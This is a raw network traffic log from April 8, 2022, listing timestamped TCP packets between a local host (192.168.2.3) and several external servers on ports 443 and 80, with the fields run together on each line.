Apr 8, 2022 10:01:54.538108110 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538135052 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538183928 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538249016 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538280964 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538374901 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538449049 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538515091 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538542986 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538642883 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538671970 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538896084 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.538954020 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:54.552406073 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.552448988 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.586921930 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:54.587044954 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.604536057 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.604674101 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.604835987 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.604902983 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.604959965 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.604999065 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.605077028 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.605119944 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.605139971 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.621752977 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.621857882 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.621907949 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.621959925 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622001886 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622056961 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622111082 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622184038 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622327089 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622364044 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622446060 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622497082 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622550964 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622577906 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622602940 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622687101 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622843027 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622873068 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622925043 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.622978926 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623004913 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623078108 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623107910 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623158932 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623217106 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623246908 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623302937 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623348951 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623377085 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623404026 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623487949 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623518944 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623569965 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623600960 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623627901 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623661995 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.623687029 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623749018 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623778105 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623826981 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623873949 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623900890 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623954058 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.623980045 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624007940 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624182940 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624208927 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624260902 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624289989 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624366045 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624448061 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624516964 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624566078 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624592066 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624624968 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624664068 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624701977 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624701977 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:01:59.624739885 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624771118 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624800920 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624885082 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624912024 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624939919 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.624967098 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.625056982 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.625123978 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.625153065 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.625248909 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.625278950 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.625371933 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.625437975 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.625466108 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.665011883 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:01:59.665133953 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689258099 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689405918 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689461946 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689503908 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689544916 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689573050 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689589977 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689616919 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689632893 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.689652920 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.706675053 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706712008 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706739902 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706768036 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706793070 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706820011 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706846952 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706871033 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706897974 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706923962 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706950903 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.706979036 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707065105 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707092047 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707120895 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707210064 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707241058 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707266092 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707293987 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707302094 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.707324028 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707416058 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707468987 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707541943 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707623959 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707648993 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707787991 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707899094 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707923889 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.707952976 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708014011 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708040953 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708084106 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708129883 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708162069 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708304882 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708334923 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708359003 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708403111 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708623886 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708655119 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708718061 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708746910 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708820105 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708944082 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.708971977 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709001064 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709028959 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709115982 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709172964 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709198952 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709270000 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709297895 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709326029 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709419012 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709507942 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709543943 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709572077 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709599972 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709625959 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709660053 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.709678888 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709691048 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709702969 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709733009 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709753036 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:04.709846020 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709944963 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.709971905 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.710063934 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.745574951 CEST44349710204.79.197.200192.168.2.3
Apr 8, 2022 10:02:04.745660067 CEST49710443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:14.058840036 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.058883905 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.059535027 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.061695099 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.061718941 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.174665928 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.174776077 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.176151037 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.176244974 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.188726902 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.188772917 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.189074993 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.189718962 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.189857960 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.189884901 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.349095106 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.349147081 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.349194050 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.349209070 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.349231005 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.349241972 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.349246025 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.349399090 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.349684954 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.371334076 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.371371031 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:14.371383905 CEST49975443192.168.2.320.190.160.67
Apr 8, 2022 10:02:14.371393919 CEST4434997520.190.160.67192.168.2.3
Apr 8, 2022 10:02:17.800581932 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:17.800640106 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:17.800751925 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:17.807742119 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:17.807790041 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:17.807885885 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:17.917608976 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:17.917649031 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:17.928653002 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:17.928677082 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:18.082298040 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:18.082416058 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:18.114610910 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:18.114906073 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:19.147233009 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.147278070 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.147444963 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.151318073 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.151335955 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.227207899 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.227313042 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.229505062 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.229525089 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.229777098 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.328145981 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.374655962 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.394699097 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.394830942 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.394907951 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.402395010 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.402446985 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.402467966 CEST49980443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.402482033 CEST4434998023.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.481359959 CEST49981443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.481434107 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.482415915 CEST49981443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.483239889 CEST49981443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.483267069 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.544333935 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.545010090 CEST49981443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.545041084 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.546006918 CEST49981443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.546020031 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.582192898 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.582308054 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.582402945 CEST49981443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.584000111 CEST49981443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.584037066 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:19.584053993 CEST49981443192.168.2.323.35.236.56
Apr 8, 2022 10:02:19.584067106 CEST4434998123.35.236.56192.168.2.3
Apr 8, 2022 10:02:20.130388975 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.130431890 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.130471945 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.130528927 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.131033897 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.131098032 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.131192923 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.131283998 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.135540962 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.135633945 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.135869980 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.136030912 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.281732082 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.281780005 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.281881094 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.281881094 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.283298969 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.301698923 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.301747084 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.301837921 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.301848888 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.302113056 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.302124023 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.304529905 CEST49978443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.304591894 CEST4434997820.82.210.154192.168.2.3
Apr 8, 2022 10:02:20.307851076 CEST49979443192.168.2.320.82.210.154
Apr 8, 2022 10:02:20.307882071 CEST4434997920.82.210.154192.168.2.3
Apr 8, 2022 10:02:23.532289982 CEST4970580192.168.2.395.140.230.128
Apr 8, 2022 10:02:23.547352076 CEST804970595.140.230.128192.168.2.3
Apr 8, 2022 10:02:23.547374964 CEST804970595.140.230.128192.168.2.3
Apr 8, 2022 10:02:23.547477007 CEST4970580192.168.2.395.140.230.128
Apr 8, 2022 10:02:23.656898975 CEST49707443192.168.2.323.201.249.71
Apr 8, 2022 10:02:23.674411058 CEST4434970723.201.249.71192.168.2.3
Apr 8, 2022 10:02:23.674438000 CEST4434970723.201.249.71192.168.2.3
Apr 8, 2022 10:02:23.674490929 CEST49707443192.168.2.323.201.249.71
Apr 8, 2022 10:02:23.674562931 CEST49707443192.168.2.323.201.249.71
Apr 8, 2022 10:02:23.833796024 CEST49709443192.168.2.320.199.120.182
Apr 8, 2022 10:02:23.883522034 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:23.883549929 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:23.883624077 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:23.884291887 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:23.884305954 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:23.888297081 CEST4434970920.199.120.182192.168.2.3
Apr 8, 2022 10:02:24.005219936 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:24.005378008 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:24.013842106 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:24.013861895 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:24.014416933 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:24.017355919 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:24.017379045 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:24.017390966 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:24.017620087 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:24.032098055 CEST49709443192.168.2.320.199.120.182
Apr 8, 2022 10:02:24.048269033 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:24.048374891 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:24.048711061 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:24.048753977 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:24.048778057 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:24.048794985 CEST4434998220.199.120.85192.168.2.3
Apr 8, 2022 10:02:24.048806906 CEST49982443192.168.2.320.199.120.85
Apr 8, 2022 10:02:24.631853104 CEST804971293.184.220.29192.168.2.3
Apr 8, 2022 10:02:24.631985903 CEST4971280192.168.2.393.184.220.29
Apr 8, 2022 10:02:25.241796017 CEST804970893.184.220.29192.168.2.3
Apr 8, 2022 10:02:25.241928101 CEST4970880192.168.2.393.184.220.29
Apr 8, 2022 10:02:25.488802910 CEST49713443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:25.489474058 CEST49714443192.168.2.3204.79.197.200
Apr 8, 2022 10:02:26.420118093 CEST49715443192.168.2.323.35.237.194
Apr 8, 2022 10:02:26.423353910 CEST4971680192.168.2.393.184.220.29
Apr 8, 2022 10:02:27.083089113 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.083142042 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.083244085 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.091881037 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.091914892 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.199498892 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.199661970 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.204569101 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.204590082 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.205097914 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.206629992 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.206778049 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.206790924 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.207101107 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.237241030 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.237390041 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.237540960 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.237694979 CEST49985443192.168.2.320.199.120.85
Apr 8, 2022 10:02:27.237728119 CEST4434998520.199.120.85192.168.2.3
Apr 8, 2022 10:02:27.318047047 CEST49986443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.318123102 CEST4434998620.82.210.154192.168.2.3
Apr 8, 2022 10:02:27.322212934 CEST49986443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.322485924 CEST49986443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.322504044 CEST4434998620.82.210.154192.168.2.3
Apr 8, 2022 10:02:27.457170010 CEST49987443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.457235098 CEST4434998720.82.210.154192.168.2.3
Apr 8, 2022 10:02:27.457396984 CEST49987443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.457848072 CEST49987443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.457875013 CEST4434998720.82.210.154192.168.2.3
Apr 8, 2022 10:02:27.465329885 CEST4434998620.82.210.154192.168.2.3
Apr 8, 2022 10:02:27.465504885 CEST49986443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.466084003 CEST49986443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.466108084 CEST4434998620.82.210.154192.168.2.3
Apr 8, 2022 10:02:27.535218954 CEST49986443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.535273075 CEST4434998620.82.210.154192.168.2.3
Apr 8, 2022 10:02:27.599502087 CEST4434998720.82.210.154192.168.2.3
Apr 8, 2022 10:02:27.599684000 CEST49987443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.600487947 CEST49987443192.168.2.320.82.210.154
Apr 8, 2022 10:02:27.600512981 CEST4434998720.82.210.154192.168.2.3
